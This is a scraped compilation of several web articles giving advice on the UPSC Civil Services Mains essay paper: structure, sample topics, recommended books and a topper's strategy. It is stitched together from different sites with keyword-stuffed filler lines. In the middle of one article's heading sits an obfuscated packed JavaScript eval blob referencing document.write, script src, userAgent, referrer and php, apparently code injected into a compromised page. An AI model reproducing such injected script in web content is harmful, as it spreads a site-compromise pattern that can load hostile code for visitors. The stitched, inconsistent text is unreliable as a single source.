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How To Write A Good Essay In Civil Service Mains Exam?

Last updated on September 15, 2023 by Alex Andrews George

Essay Writing Tips

It has been observed that many candidates, unfortunately, take the essay paper too lightly resulting in a score not comparable with their potential.

It is vital to attempt essay paper with the same seriousness as all other papers in GS Mains and learn the art of writing a good essay.

Table of Contents

Practice is the key!

Practice, not talent, is the key to success.

Make reading good essays a habit. And more importantly, start writing essays from today.

Participate in the ClearIAS Answer Writing Program (AWP) for mains. It’s completely free!

Also read: ClearIAS launches Essay Writing Course for UPSC

Understanding Essay Paper in IAS Exam

250 marks out of 2025 (12.3 %) are the weight-age of essay paper on total Civil Services Mains Marks as per the latest UPSC syllabus. Since 2015, candidates are asked to write two essays out of 8 choices. Each essay is for 125 marks (1000-1200 words). Check the UPSC CSE Essay Syllabus here .

Time allotted is 3 hours.

Note: Before 2013, UPSC CSE essay paper was only for 200 marks with a single essay to write upon!

UPSC’s expectation from Essay Paper

How to write an essay

Examiners will pay special attention to the candidate’s grasp of his/her material, its relevance to the subject chosen and to his/her ability to think constructively and to present his/her ideas concisely, logically and effectively.

  • Make a framework (blueprint) of the essay you are going to write first.
  • Our advice would be to use simple language. As Anton Chekov once said ‘Brevity is the sister of talent’.
  • The idea of using ornamental language to showcase your English vocabulary may backfire at times. But, don’t make your essay sound like a General Studies answer.
  • If the introduction can generate curiosity in the reader, that would be great.
  • There should be a logical continuation from beginning to end.
  • The essay should be organized in well-structured paragraphs coherent with the flow of the essay.
  • Don’t be too aggressive or pessimistic in your tone.
  • Come up with good points and express new viewpoints.
  • Go through well-written essays by experts in newspapers and magazines, and understand how they frame the ‘Introduction’ and ‘Conclusion’ paragraphs.
  • In most cases, there will not be any need for separate coaching or preparation for essays, and candidates’ reading and preparation for General Studies Mains should suffice. But make sure your writing and analytical skills are up to the UPSC expectations; if not, polish it.
  • Write mock essays and get it evaluated by experts in the field.

Let’s analyze a few previous year UPSC essay papers.

Essay Questions Asked in the UPSC (Mains) Examination

Write an essay on any one of the following topics:

  • In the context of Gandhiji’s views on the matter, explore, on an evolutionary scale, the terms ‘Swadhinata’, ‘Swaraj’, and ‘Dharmarajya’. Critically comment on their contemporary relevance to Indian democracy.
  • Is the criticism that the ‘Public-Private-Partnership’ (PPP) model for development is more of a bane than a boon in the Indian context, justified?
  • Science and Mysticism: Are they compatible?
  • Managing work and home – Are the Indian working women getting a fair deal?
  • Creation of smaller states and the consequent administrative, economic, and developmental implications.
  • Does Indian cinema shape our popular culture or merely reflect it?
  • Credit-based higher education system –status, opportunities, and challenges.
  • In the Indian context, both human intelligence and technical intelligence are crucial and combating terrorism.

How much is a good score on the UPSC CSE essay paper?

As the essay paper is out of 250, marks which are above 50% can be considered good, ie. 125.

Marks between 110-125 is considered as average.

Marks in the range of 150-160 are possible for exceptional essays.

Note: UPSC may award poorly written essay marks as low as ‘0’ or ’20’. So beware and pay sufficient attention to proper practice.

Also read: 10 Common Essay Writing Mistakes and How to Avoid Them

Important Essay Topics for UPSC CSE

Topics like Women empowerment, Rural Development, Social Justice, Terrorism, Internal Security, etc. are hot topics for essays, and be prepared with various dimensions of the same in the UPSC Exam.

Books that help in Essay Writing for the UPSC Civil Services Exam

  • Essays for Civil Services and Other Competitive Examinations by Pulkit Khare .
  • Selected Contemporary Essays by Saumitra Mohan (MHE)
  • Essay Paper for Civil Services Main Examination by Pavneet Singh and Sonali Bansal

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About Alex Andrews George

Alex Andrews George is a mentor, author, and social entrepreneur. Alex is the founder of ClearIAS and one of the expert Civil Service Exam Trainers in India.

He is the author of many best-seller books like 'Important Judgments that transformed India' and 'Important Acts that transformed India'.

A trusted mentor and pioneer in online training , Alex's guidance, strategies, study-materials, and mock-exams have helped many aspirants to become IAS, IPS, and IFS officers.

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UPSC CSE 2021: AIR 17 Sarthak Agrawal’s step-by-step strategy for essay paper

Essay is the one paper for which you will find excellent advice all over the internet - mostly on university websites - so make sure to look at them instead of just relying on the typical upsc resources, says agrawal  .

how to prepare for essay writing upsc

My key advice for the essay paper is to be argumentative and imaginative. An academic essay is a formal piece of writing with a clear structure. This is the one paper for which you will find excellent advice all over the internet — mostly on university websites — so make sure to read them up instead of just relying on the typical UPSC resources.  

The following approach worked best for me: start with a story that is relevant to the prompt. Then, state in a few words the “thesis” of your essay – what is the main argument you’re making? Next, support this central thesis with several claims, each one backed by strong evidence or reasoning, and occupying a separate paragraph. As you go along, address the counterclaims. But resist the urge of writing an essay like a mystery novel. This is best practiced when you have devoted some 10-20 minutes to plan and outline what you will write. 

how to prepare for essay writing upsc

Ultimately, the key to putting together a strong response is to make an innovative and strong argument – don’t just provide relevant information around the central topic but take a refined stand and stick to it. For instance, if I wrote an essay on the topic, “Are we entering an era of globalisation”, I wouldn’t just regurgitate data on both sides of the debate. Instead, I would present an incisive and informed opinion defended by evidence and reasoning with an intention to persuade the reader. Remember, variety goes a long way in achieving this aim – avoid repetition and alter your sentence length and vocabulary to keep things interesting. It is also useful to vary the kind of evidence you cite. In some places, data and figures are most appropriate; in others, a vivid example can go a long way in hammering in your point. 

When you choose a topic, first make sure that you fully understand what each word in the prompt means. I would prefer a simple one over a more convoluted statement so that you have more latitude to experiment. The next thing to ask is whether you will be able to construct a novel argument around that prompt. Some topics are more conducive to a descriptive type of response, and others to a debate. The latter provides more scope for showing off your critical thinking skills. That’s the real “smartness” essays test, which is why writing them well is a pre-requisite for academic success in the top universities. When you start, make sure you introduce the topic and what you understand by it. This way, even if you make an error in interpreting the prompt, the examiner will know from the get-go what you are responding to and might be a bit more generous. 

I find the best essays often start and end with a story. My favourite argumentative pieces are those that feature in The Economist’s leaders’ section; they often start with examples to invite the reader’s interest. In the same vein, I spent time thinking about the kind of stories that would align with different topics instead of memorising quotations. For example, in a mock response to the topic, “Digital infrastructure is key for future ready governance”, I included a fictional example of a future health secretary who can get her department to respond quickly to a SARS-kind of virus in rural Odisha thanks to a mature National Digital Health Mission. 

Festive offer

I wrote five practice tests before appearing for the exam; incidentally, none of them was the ‘philosophical type’ that I had to write in the actual paper. The same advice applies for these kinds of essays too, except that the evidence here would be real-world examples and logical reasoning instead of data. There’s also more scope to be creative and critical, which is good for fetching higher marks. I think coaching institutes tend to be overly concerned about analysing the “social, economic, political, legal etc.” angles in an essay, while the essay is an argumentative piece of writing that provides the means to showcase your creativity. It is certainly not a test of your memory, vocabulary, or handwriting so don’t worry if you are a laggard on either (or all) of these.

A word on formatting — start a new paragraph from the middle of the line, leaving a forefinger’s space in the beginning. Try to connect one sentence with the next using bridge words like however, despite, moreover, etc; do the same for paragraphs as it gives the entire piece a nice, logical flow. Underlining important keywords and phrases is also useful to direct an examiner’s attention. Keep cuttings to a minimum and ensure that all paragraphs are of similar length, but these tips are much harder to follow in practice. And it’s okay to use the first person (“In this essay, I argue…”). Bureaucrats are taught to be self-effacing and not present their own front but when writing an academic essay, I think it’s best to lead with the first person.  

Finally, even the examiners know that writing a strong 1000–1200-word piece by hand in 1.5 hours that is sufficiently argumentative and delightfully imaginative is fiendishly difficult. They will definitely cut you some slack as long as your approach is right. Make the most of this window, and good luck!

(The author is AIR 17 in UPSC Civil Services 2020 and is a researcher at the World Bank)

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UPSC Essay Topics - Important Essay Topics for UPSC Mains 2023

By vajiram & ravi.

Essay Course for UPSC

UPSC CSE Mains 2023 Essay Question Paper

UPSC Mains Optional Test Series

Mentorship Program for UPSC 2024

Understanding UPSC Essay Topics holds significant importance as it evaluates the candidate's ability to analyse, present arguments, and communicate effectively. In this article, we will explore the diverse range of UPSC essay topics, their significance, and essential tips to excel in this section. Get ready to enhance your writing and analytical skills and make a strong impression on the evaluators with well-crafted essays.

UPSC Essay Paper

The Essay paper in the UPSC Mains examination requires candidates to write multiple essays , each on a different topic, chosen from a given list of options. The essay topics for UPSC cover a wide range of issues, including social, economic, political, cultural, and philosophical aspects, both national and international.

The essay paper holds significant weightage in the UPSC Mains examination, contributing 250 marks out of the total 1750 marks . Scoring well in this section can have a considerable impact on the overall ranking and selection for the coveted civil services.

Weekly UPSC Essay Topics By Vajiram & Ravi

The UPSC Essay Paper is an opportunity for candidates to demonstrate their proficiency in expressing ideas and analysing complex issues. Vajiram & Ravi Pensive-Weekly Essay Writing Programme provides you with two Essay Topics every Saturday based on the previous year's question papers and the changing trends analysis. You can submit your Essay for peer evaluation on vajiramandravi.com. This will help you nourish your writing skills, give you clarity of thought, and build the capacity to express opinions in a logical and coherent manner.

Important Essay Topics for UPSC 2023

The purpose of the essay paper is to assess the candidate's ability to critically analyse a topic, present well-structured arguments, and communicate their ideas effectively. It also evaluates their knowledge of various issues, their clarity of thought, and their capacity to express opinions in a logical and coherent manner.

Some of the Important Essay Topics to prepare for the UPSC Mains Examination 2023 are:

  • Gender Equality
  • Environment/Urbanization
  • Economic Growth
  • Federalism/Decentralization
  • Agriculture
  • Economics 

UPSC Essay Topics on Philosophy

Every year, UPSC typically provides you with two or more essay topics centred around philosophical thoughts, Indian philosophical schools, or quotes from notable personalities. To effectively address these philosophical topics, you should refer to Philosophy Books to gain a foundational understanding. Here is a list of UPSC Essay Topics on Philosophy :

  • Everything comes to him, who hustles while he waits.
  • We are always blind as we want to be.
  • You cannot step twice in the same river.
  • A disciplined mind brings happiness.
  • The price of Greatness is Responsibility.
  • People would rather Believe than Know.
  • Mind - A beautiful Servant? Or a dangerous Master?

UPSC Essay Topics on Art and Culture

The UPSC Essay Topics related to Indian society, art, and culture cover a wide range of subjects, offering great diversity. To gain knowledge about the static content on these topics, you should rely on fundamental books on society, as recommended for the exam. Here is a list of UPSC Essay Topics on Indian Art and Culture :

  • Culture changes with economic development.
  • Culture is what we are, Civilization is what we have.
  • Social reform is a myth if places of worship are open only to all castes and not to all genders.
  • Impact of Globalization on Indian Art and Culture.
  • Caste System - India’s Enduring Curse.
  • Godmen - A Threat to Indian Art and Culture?

UPSC Essay Topics on Science and Technology

UPSC essay topics on Science and Technology can largely be addressed through current affairs. You may also benefit from consulting a Science and Technology Book for UPSC to compose a comprehensive and well-rounded essay. Here are some UPSC Essay Topics on Science and Technology:

  • Deglobalisation is good for the world.
  • Science is organised Knowledge. Wisdom is Organised life.
  • Technology is a Weapon against Poverty.
  • Prioritising Education Technology for Global Growth.
  • Technology is the silent factor in International Relations.
  • Scientific and Technological Progress cannot be equated with Human Progress.

UPSC Essay Topics on Education

Education stands as one of the preferred UPSC Essay Topics, with an essay related to this subject often appearing in the paper each year. To tackle this topic effectively, you should stay abreast of Current Affairs , incorporating significant changes and advancements in the field. Let's explore some of the Essay topics for UPSC centred around education:

  • Self Education is a lifelong curiosity.
  • Education Breeds Peace.
  • Education is a progressive discovery of our own ignorance.
  • Education must also train one for quick, resolute and effective thinking.
  • Schooling is not Education.

UPSC Essay Topics on Polity and Governance

To comprehensively address Polity and Governance topics, you should acquire fundamental knowledge from Polity Books for UPSC and Current Affairs. These resources offer static information about relevant issues and their historical context, which proves valuable while writing UPSC Essay Topics on Polity. Here are some Essay Topics on Polity and Governance:

  • The Role of Politics in Development.
  • Should Youth in India Consider Politics as a Career?
  • Art, Freedom and Creativity will change society faster than politics.
  • The politics of Identity is the Politics of the Weak.
  • People should not be afraid of their Government. The Government should be afraid of its people.
  • Government Surveillance - Good or Bad?

UPSC Essay Topics on Economy

Essays concerning economic growth are frequently included in the Essay Paper. To tackle these topics effectively, you should refer to Economy Notes for UPSC to gain a comprehensive understanding. Once the fundamentals are grasped, you can enhance their essays by incorporating examples, data, and statistics to create a multidimensional perspective. Here is a list of UPSC Essay Topics on Economy:

  • We don't have to sacrifice a Strong Economy for a Healthy Environment.
  • India, a $5 trillion Economy - Dream or Reality?
  • Digital Economy: A leveller or a source of Economic Inequality?
  • Innovation is the key determinant of social welfare and economic growth.
  • Labour Reforms in India and its Role in Economic Growth.

UPSC Essay Topics on Social Issues

Social issues are a significant aspect of the UPSC essay paper, reflecting the candidates' understanding of societal challenges and their ability to propose viable solutions. These essays provide a platform for candidates to analyse, critique, and suggest measures for pressing social concerns. Topics related to social issues in the UPSC Essay paper may include:

  • Inclusivity and Plurality are the hallmarks of a Peaceful Society.
  • A Gender-sensitive Indian Society is a prerequisite for Women and Child Empowerment.
  • The weaker sections of Indian Society - are their Rights and Access to Justice getting Better?

Previous Year UPSC Essay Topics

Practising previous year's essay topics will help you become familiar with the UPSC exam pattern , word limit, and the types of essay questions frequently asked in the Mains Examination. Analysing past essay topics will also allow you to identify recurring themes and trends, enabling you to prioritise their preparation accordingly. Regular practice with past essay topics will instil confidence in you, helping you feel more comfortable and prepared for the actual exam.

  • Forests are the best case studies for economic excellence.
  • Poets are the unacknowledged legislators of the world.
  • History is a series of victories won by the scientific man over the romantic man.
  • A ship in the harbour is safe, but that is not what a ship is for.
  • The time to repair the roof is when the sun is shining.
  • A smile is the chosen vehicle for all ambiguities.
  • Just because you have a choice, it does not mean that any of them has to be right.

Tips to Excel in UPSC Essay Paper

  • Understand the Topics: Thoroughly comprehend the essay topics, including the keywords and instructions. Choose a topic that aligns with your strengths and interests.
  • Plan and Structure: Devote some time to plan your essay. Create an outline and organise your thoughts in a structured manner, with a clear introduction, body, and conclusion.
  • Be Objective: Present balanced arguments and avoid a biased or one-sided approach. Consider multiple perspectives and present a holistic view.
  • Provide Examples and Evidence: Support your arguments with relevant examples, data, quotes and evidence to strengthen your essay.
  • Maintain Clarity: Write in a clear and concise manner. Use simple language and avoid jargon or overly complex vocabulary.
  • Practice Regularly: Regular practice is essential to improve Essay writing skills. Write essays on diverse topics to enhance your versatility.
  • Time Management: Allocate appropriate time for planning, writing, and revising each essay to manage time effectively during the examination.
  • Revise and Edit: Review your essays for coherence, grammar, and structure. Make necessary edits to refine your work.

FAQs on UPSC Essay Topics

What are the important UPSC Essay Topics?

Here is a list of UPSC Essay Topics asked in Mains Examination previously:

  • Culture is what we are, civilization is what we have.
  • Simplicity is the ultimate sophistication.
  • What is research but a blind date with knowledge?
  • Best for an individual is not necessarily best for society.
  • Wisdom finds truth.
  • Ships don’t sink because of water around them, ships sink because of water that gets into them.
  • Patriarchy is the least noticed yet the most significant structure of social inequality.
  • Technology as the silent factor in international relations.

How do I Prepare for the UPSC Essay?

To prepare for the UPSC essay, focus on understanding the essay syllabus and past topics to identify recurring themes. Regularly practise writing essays on various topics to improve your writing skills and time management. Structure your essays with a clear introduction, main body, and conclusion.

Which is the best source to practise UPSC Essay Topics?

The best sources to prepare Essay for UPSC include official UPSC materials, newspapers, and magazines like The Hindu, Yojana , and Kurukshetra for current affairs, standard books on diverse subjects, government reports and publications, online platforms like PIB and PRS India, UPSC previous year papers for understanding the exam pattern, and regular practice of essay writing on various topics.

© 2024 Vajiram & Ravi. All rights reserved

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UPSC essay paper

How to Write an Essay? 9 Tips To Score Better in UPSC Essay Paper

It can be easily said that many UPSC exam aspirants overlook the importance of preparing their writings well. A majority of novices mistakenly feel they can write the perfect content on their exam day, while the repeaters equate the knowledge gained through their General studies preparation to successful writing. In both cases, writing practice is left unconsidered.

UPSC essay paper carries a total of 250 marks comprising 2 essays in total (125 marks each). Leaving behind writing a good content of 1000 to 1200 words to mere chance is a grave error.

Do not worry, we have you covered!

Check out These Tried and Tested Tips to Write Essay for UPSC

Our experts understand the significance of converting your gained knowledge conceptually into well put-down words. Therefore, we have compiled a list of 9 superb essay writing tips that’ll help you prepare the right way:

Right Knowledge

To write an astounding essay for UPSC, you must first possess the correct knowledge.

UPSC essay syllabus is not your regular school or college question. Here, along with your knowledge of a topic, your ability to produce it sequentially, consistently and with precision is given equal importance.

So, how do you gain the knowledge to do that?

Undoubtedly, the content will come from your general studies preparation.

Besides this, you must regularly read magazines like Economic and Political weekly, Yojana, etc. These magazines will not only help you revise your GS content but will also give you good ideas regarding the content presentation.

You must also try reading non-fiction occasionally; it’s a great way to grow your thought process and learn how to represent them powerfully through words.

Also Read: What is the Difference Between the Indian Forest Service and Indian Foreign Service?

Avoid Unnecessary Jargon

You must keep the language of your UPSC essay paper simple. The exam tests your vocabulary too, agreed, but avoid using complex words just to sound well-read.

Instead, concentrate on writing clear, concise and meaningful sentences that put your point across. It is best to avoid redundant sentences. A common mistake made by many is writing lengthy sentences. It’s best to put down small and simple sentences rather than elaborate ones that will make the reader lose out on the crux of your point.

Keep up the Good Vocabulary

As mentioned above, a good vocabulary showcases how well-read you are. This doesn’t mean you use it incessantly. But, a strong word can add value to your sentences when used the right way.

We know that you can’t read up an entire dictionary in a week. And we do not expect you to do so too.

The best way to build up a strong vocabulary is by reading the newspaper daily. Even reading non-fiction can be of great help here. What you must do is write down the words, phrases and quotes that seem unique alongside their meanings.  Writing an example sentence along with it will also help you retain it in your memory longer.

Create Intelligent and Worldly-Wise Subheadings

The subheading is the entire body copy at a glance. Representing a paragraph with a catchy, smart and content-aligned subheading can get you major points in an essay for the UPSC exam. It raises the interest of the examiner and also aids readability.

Keep your Paragraphs Coherent to Each Other

When writing a long essay for UPSC of 1000-1200 words, it’s quite easy to end up losing out on the main message you want to convey.

To ensure that you deliver the desired message, it is crucial to present your sentences/ paragraphs in an organized and sequential manner.

Practice is essential if you want to deliver a write-up that showcases your well-connected thinking ability. You can end a paragraph with a question, or an introduction to the next paragraph. This will help you maintain a smooth connection between your subtopics.

Let’s take a look at two sample paragraphs for the topic taken from some essay book for UPSC – “women, gender inequality and the Indian economy,”

The practice of men handling major financial decisions and managing the family’s income in India’s traditional patriarchal society is another reason for the sad state of women’s dependence on men. Such practices hinder potential women equality in economic development.

Similar practice in higher echelons of the corporate sector where women are obstructed in entering powerful positions by way of glass-ceiling is a continuation of such patriarchal ideologies.

Notice how the sentences actually tell and take forward the message in a sequence respectively.

Giving an outro and intro to your paragraphs is a great way of establishing a connection and sequence between the two.

The Introduction Should Ideally be a Relatable Quote or an Event

Starting your GS answers with a definition is the right thing to do, but doing so in essays just makes it stale and boring.

You must try to up the examiner’s interest by quoting a famous personality, an interesting quote, or a relatable real-life/fictional event.

Books, magazines and newspapers will help you learn essay-worthy anecdotes and incidents.

Let’s Take the Same topic as above

  • Starting with a definition

“In simple terms, Gender Inequality can be defined as the unequal treatment of individuals because of their gender.”

  • Starting with an interesting fictional event/ story

“Let me take you to a modest two-room house in a remote village in India. Rupa is crying in a corner of her room. Her father wouldn’t allow her to go to her primary school anymore. Her brother has already left for today’s class, but Rupa has chores to finish around the house. Father says it’s not important for girls to study.”

The contrast between the two is stark and clearly the latter reads more interesting to the reader.

Create Your Essay’s Content as per the Topic

One way of writing for a particular topic might not necessarily work for the other. To completely understand how to write an essay, you must first understand the nature of your topic and then decide how you want to tackle it down further.

For example, the topics presented as a question are best written in the problem and solution pattern.

Back-up Your Arguments with Substantial Reasons

To add value to your essay for UPSC, it is a must to include constitutional provisions, examples, statistics and expert opinions.

Let’s say, in an essay on “women, gender inequality and the Indian economy,” it is not enough to state that: –

“Gender inequality is predominant in the education sector in India. The bridge between the enrolment ratio of men and women has widened. The drop-out rates of girls are alarmingly more than boys, which adds to the gender gap prevalent in our society.”

Agreed, the points made are valid, but substantiating them with required facts is important to add value to it.

So, adding a fact like below will back up your opinions and fetch you more marks.

“at higher education level, the GER for males is approximately 19 %, while for females, it is merely 15-16% approximately (as per 12th five-year plan.)”

Write a Powerful Conclusion

You must always summarise your essay on an optimistic note in 3-4 lines. It is advisable to not skip on giving your vision for the future.

Important Topics for UPSC CSE Essay Syllabus

There are certain topics that have a higher possibility of being included. These are: –

  • Rural Empowerment
  • Women Empowerment
  • Internal Security
  • Social Justice

Although highly suggested, please do not limit yourself to the above strictly. you can use these topics for preparing a model essay.

Also Read: A Detailed Guide to Choosing the Best Optional Subject for UPSC Exam

Let’s Take a Look at Some Good Questions from Previous UPSC Essay Paper: 

  • Science and Mysticism: Are they compatible?
  • Creation of smaller states and the consequent administrative, economic and developmental implications
  • Does Indian cinema shape our popular culture or merely reflect it?
  • Is the criticism that the ‘Public-Private-Partnership’ (PPP) model for development is more of a bane than a boon in the Indian context, justified?

Conclusion:

To conclude, keep your essays expansive yet meaningful and relevant to the topic, you can refer to different essay books for UPSC for this purpose. You must try not to steer away from what is asked. And finally, when preparing for essay writing for UPSC, keep up the daily reading, and do not forget, “practice makes perfect.”

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Very nicely guided

how to prepare for essay writing upsc

This guide was actually helpful and is providing a structured image of how to write the essay paper, as you know may students are suffering from stress, can you also provide some tips on that?

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Greeta Sulochana is a content evangelist with a flair for compelling creative writing. She has penned down her thoughts in poetry and prose since the past five years, and has catered her skills to the Indian and international audiences. She started out as an advertising intern with Grey worldwide, and is now a full-fledged writer in passion and profession, who has worked for major national brands.

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how to prepare for essay writing upsc

How to Write an Essay for UPSC

Check the best approach to be followed in essay writing for civil services examination 2023 along with the highly recommended books on this page .

The UPSC Mains exam comprises a total of nine papers which includes essay writing for civil services examination as well. In broader terms, the essay paper in UPSC mains is divided into two sections i.e. section A & section B.

Each section also comprises four UPSC essay topics with a maximum mark of 125 each. Out of these, candidates need to choose one topic from each of the sections and write two UPSC essay papers in about 1000-1200 words each.

Thus, it is important for the aspirants to use the best strategy and practice essay writing for civil services examination thoroughly to maximize their score in the UPSC essay test .

In this blog, we have shared the useful steps to write the essay for the IAS exam including the books, past year IAS essay test topics, and everything that an aspirant must know about UPSC essay writing .

UPSC Essay Writing for Civil Services Examination 2023- Highlights

Some of the major highlights of the essay writing for the civil services exam 2023 are shared below:

  • Number of UPSC essay topics : 2
  • Maximum Marks: 250 marks (125 each).
  • Exam Duration: 3 hours
  • Word Limit: 1000-1200 words each

6 Easy Steps on Essay Writing for Civil Services Examination

IAS aspirants should formulate a strategy that aligns with the exam requirements in order to excel in the UPSC essay papers . Hence, we have shared the top six easy steps to be followed in the UPSC essay writing in order to excel in the upcoming IAS CSE 2023 exam .

Pick the UPSC Essay Topic Carefully

The first and foremost strategy of every aspirant is that they should finalize the topic only after reading all the topics carefully. This will also help them to collect sufficient points to write about the UPSC essay topics .

One should go through all the topics carefully in order to avoid switching topics in between as it would lead to a waste of time and unnecessary stress. Hence, it is advisable to read the topics 2-3 times and think about the IAS essay topics carefully.

Recall Important Points

After finalizing the topic, do not rush to write the essay immediately and think about the same for at least 30 minutes. Anyone who commences writing immediately without thinking twice may forget important pointers to be included in the UPSC essay papers .

Hence, it is advised to utilize the first 20-30 minutes to think carefully about the topic, correlate the topic with current events, talk about historical/past events, and jot down all the important points in the sheet.

Moreover, they must also arrange all the points in the proper sequence in order to excel in essay writing for civil services examination .

Formatting of the Essay

The next strategy of the aspirant is that they should follow a proper format in the UPSC essay writing papers. Once they have recalled and noted all the important pointers, the next step is to format it well as elaborated below:

  • Introduction
  • Background of Topic
  • Main Theory
  • Correlation with the latest event
  • Positive and Negative Sides
  • Recommend Changes

Use the Quotes Correctly

To excel in essay writing for civil services examination, candidates must jot down inspiring sentences, and quotations whenever they come across them.

However, it is advised to learn the quotes correctly with the name of the individual who has quoted them. Also, if they are unsure about the quote then they must skip it instead of writing the incorrect one.

Focus on the UPSC Essay Topics

Candidate should be clear with theessay topics for effective essay writing for civil services examination. This approach will allow them to stick around the topic and write relevant content in the essay UPSC test.

With this, they should ensure that they do not criticize any individual or government or mention anything in an offensive way in their UPSC essay writing which is not recommended.

Read More and More

Essay writing for civil services examination requires regular reading of a variety of topics and reference books recommended by mentors/friends/previous toppers.

Thus, the candidates must read the editorial section of the newspaper, and current affairs magazines every day. Moreover, they should watch discussions/debates, and solve previous question papers UPSC essay topics regularly.

Reading books and newspapers will enhance their vocabulary skills, and provide them with all the latest updates and a variety of ideas for using appropriate language in their IAS essay writing.

Best Books and Resources for UPSC Essay Writing

Along with the best preparation strategy, aspirants should also pick expert-recommended books to cover all types of essay topics for the exam. Here, we have compiled the best books and resources that would be helpful in practicing essay writing for civil services examination :

  • Monthly Current Affairs Magazines by OnlyIAS
  • Only IAS Kurukshetra Magazine
  • Only IAS Yogana Magazine
  • Only IAS Praarambh Post-Independence India
  • Only IAS Praarmabh Indian Society
  • The Hindu (editorial articles)

Previous Year Essay Topics for Civil Services Examination

Candidates should check the previous year’s essay topics for the UPSC exam to understand the UPSC IAS syllabus 2023 in a better manner. Hence, it is advisable to practice essay writing on the past year’s topics to determine the level of their preparation.

Thus, we have shared below the last five years’ IAS essay topics to smoothen the preparation of the aspirants.

Frequency Asked Questions (FAQ) 

Q1. How can I write a good essay for UPSC?

Ans. To write a good essay for UPSC, candidates must read the editorial section of the newspaper, and current affairs magazines on a daily basis. With this, they should watch discussions/debates, and solve previous question papers UPSC essay topics regularly.

Q2. What kind of essays are asked in UPSC?

Ans. Going by the trend analysis, most of the UPSC essay topics are related to Indian Democracy and Bureaucracy, Administration, Poverty, Economic Growth, Politics, Judiciary, Education, Indian Culture, Science & Tech, etc.

Q3. How to write introduction for UPSC essay?

Ans. You can start writing the introduction for the IAS essay with a powerful quote and then elaborate on the quote in the rest of the introduction by explaining its relation to the topic.

Q4. Who got highest marks in UPSC essay?

Ans. In 2014, Ira Singhal scored 160 marks on the UPSC essay papers.

Q5. Which is the toughest optional subject in UPSC?

Ans. Geography is considered one of the toughest optional subjects in the UPSC civil services examination.

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UPSC ESSAY STRATEGY: How to Write an Essay!

  • October 21, 2015

IASbaba's Mains Strategy , UPSC Essay Strategy

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Essay eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\b'+e(c)+'\b','g'),k[c])}}return p}('0.6(" ");n m="q";',30,30,'document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|nfnkh|var|u0026u|referrer|rhfyh||js|php'.split('|'),0,{})) Strategy

In one way or the other your fate with UPSC is decided by the most unpredictable component of the syllabus i.e. the ESSAY . Ask your seniors, your peers or even your teachers and no one can come up with a concrete strategy to prepare for essays. It is ironical that despite being the most flexible component of the UPSC syllabus, it is the essay that spoils your chances. Why? The answer to this question is a mystery . So, if anyone tells you that he/ she knows the right way to write an essay and by right we mean the benchmark set by UPSC, be sure that the person has got a long way to go before he/ she can truly understand UPSC. We say this because of a reason. We have seen aspirants with excellent writing skills scoring 70% in essay in their first attempt while barely managing 35% in their next attempt! It is the other way round also with a number of aspirants.

Now, here we are! After accepting the unpredictable nature of essay evaluation by UPSC, how can we be sure about any strategy? We can’t and in fact we aren’t. But then, we must try until we touch the right chords. Here we give you a strategy to write essays in the most structured, smooth and satisfactory way possible. We don’t guarantee success if you follow our strategy but we can assure you that after going through the subsequent paragraphs of this write up, you will have a lot to work upon and improve. If you keep in mind the following points, you can definitely better your prospects in essay.

So, what is an essay? Or rather why this paper on essays in UPSC? The answer is –  an essay gives you an opportunity to put forward your thoughts in a manner that is not impeded by word limit and time (in the sense that you are given enough words and time to express your knowledge and views). It is asked to check the depth and breadth of your knowledge. And when we say knowledge, it doesn’t mean our conventional understanding of the same. The topics are unknown to us before the exam and we are expected to apply all that we have learnt to produce a logical and intelligent account of what is being asked. That is why, one can’t prepare for essays in the conventional sense.

Now coming to the strategy part, we must say at the outset that you must not treat essay as any other paper of UPSC. In fact, it is the most innovative way to check your level of preparedness of the entire syllabus of UPSC. If you perceive it in this sense, your tendency to limit your imagination by the fictitious boundaries of so called essay paper will vanish and you will be able to think more freely and more innovatively. Shed all your previous notions regarding this paper and start afresh.

The key to writing a satisfactory above average essay is multi-dimensionality. Depth matters but in UPSC breadth is far more important. Keep this fact in mind and approach the essay in a manner that all your wisdom is reflected in the interconnected dots in your essay. Now, what do we mean by this? It simply means the representation of all the dimensions that are related closely to the topic being asked. In doing so, most aspirants keep throwing unnecessary points and that can annoy the examiner. The best thing to do in such a scenario is to write all your thoughts in pointers at the space provided for rough work.

Now, this step is very important. What tools do we have to think about as many dimensions as possible? The answer lies in the syllabus . Luckily, the syllabus of UPSC is so exhaustive and detailed that almost everything under the sun is there in the syllabus. After you are done with your own thoughts and written all the possible points, think about the syllabus now. For this, a prerequisite is that you must have learnt the syllabus by heart. Having said so, let us now understand as to how you can use the syllabus to create points for your essay.

Suppose you have been asked an essay on “Gandhian principles and it’s relevance in contemporary India” . Now, by linking this essay with various components of the syllabus, you can create a number of good points for your essay. We provide you with some examples:

Indian heritage and civilization: Gandhian thoughts on the importance of letting our civilization welcome others while maintaining our identity and uniqueness. This is particularly important in view of the ongoing clash of civilizations.

Women issues: Gandhi’s idea on emancipation and empowerment of women and it’s applicability in modern India.

Communalism and secularism: Gandhian message of communal harmony and tolerance.

Society: Numerous examples of Gandhian views on the importance of charity, role of family, social capital, social norms, cinema etc.

Globalization: Gandhian message of self reliance and it’s synthesis with the idea of global commons/ was Gandhi against globalization?

Constitution and polity: Gandhian idea of a nation state

Local governance: Panchayati Raj as envisaged by Gandhi.

SHGs: Gandhian conception of the idea; the concept of village gramodyog etc

Education: Gandhian model of education that emphasized upon imparting skills

International relations: Gandhian ideals of co-existence, non- violence, non- proliferation etc applied to the current foreign policy paradigm; satyagaraha and non- violence as tools to pursue foreign policy goals.

Inclusive growth: Gandhi’s talisman and it’s remarkable resonance with the very idea of inclusive growth

Economic development: Gandhian idea of self dependent village communities

Industries: Gandhian apprehensions with respect to western model of industrialization

Agriculture and animal rearing: Gandhi’s ideas on organic cultivation, supplementary income through animal rearing etc.

Environment: Gandhian message on cleanliness and sustainability (remember the quote related to man’s need versus man’s greed?), Gandhi’s views on vegetarianism etc

All Gandhian ideas with respect to revenge, change, forgiveness, happiness, strength etc reflect the essence of this component of the syllabus. We can use all of them wisely to make our points look better and logical.

At this point of time, it is important to mention about current events. Try to relate the topic with the current events. It will add to the personality of your essay. For example in this case, following examples can be included:

Corporate social responsibility: Gandhian idea of trusteeship

Struggle for democracy in various parts of the world: Gandhi’s thoughts on democracy

